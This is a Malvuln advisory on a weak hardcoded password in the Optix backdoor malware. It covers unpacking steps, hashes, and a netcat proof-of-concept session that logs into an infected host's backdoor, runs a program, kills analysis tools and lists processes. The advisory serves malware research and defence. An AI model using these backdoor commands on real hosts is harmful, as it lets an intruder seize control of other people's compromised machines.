Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/706ddc06ebbdde43e4e97de4d5af3b19.txt Contact: [email protected] Media: x.com/malvuln Threat: Backdoor.Win32.Optix.02.b Vulnerability: Weak Hardcoded Credentials Description: Optix listens on TCP port 5151 and is packed with ASPack (2.11d). Unpacking is trivial set breakpoints on POPAD, RET, run and dump using OllyDumpEx. The unpacked PE file reveals a very weak three character cleartext password "1q1" stored as "svrpwd=1q1" at offset: 0000da4c of the unpacked malware. Commands sent to the backdoor use a semicolon ";" as a marker E.g. password;1q1; Family: Optix Type: PE32 MD5: 706ddc06ebbdde43e4e97de4d5af3b19 SHA256: 2d38b18bdedfa7f27aac3f52a6d717f3cef7cf809e06f4a34ac0a93c90a82b1c Vuln ID: MVID-2024-0690 Disclosure: 09/03/2024 Exploit/PoC: nc64.exe x.x.x.x 5151 password;1q1; password;1;Optix Lite v0.2 Server Ready... ExecFile;"c:\Windows\System32\calc.exe" Response;File Ran Successfully GetPath; TheServerPath;c:\windows\sec32.exe GetSysDir; TheSysDir; ;C:\WINDOWS\system32\ GetWinDir; TheWinDir; ;C:\WINDOWS\ KillProcPls;pestudio.exe; Response;Program killed successfully! KillProcPls;die.exe; Response;Program killed successfully! GetProcsPls; HeresDaProcs;[System Process];System;smss.exe;csrss.exe;wininit.exe;csrss.exe;winlogon.exe;services.exe;lsass.exe;fontdrvhost.exe;fontdrvhost.exe;svchost.exe;svchost.exe;dwm.exe;... Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).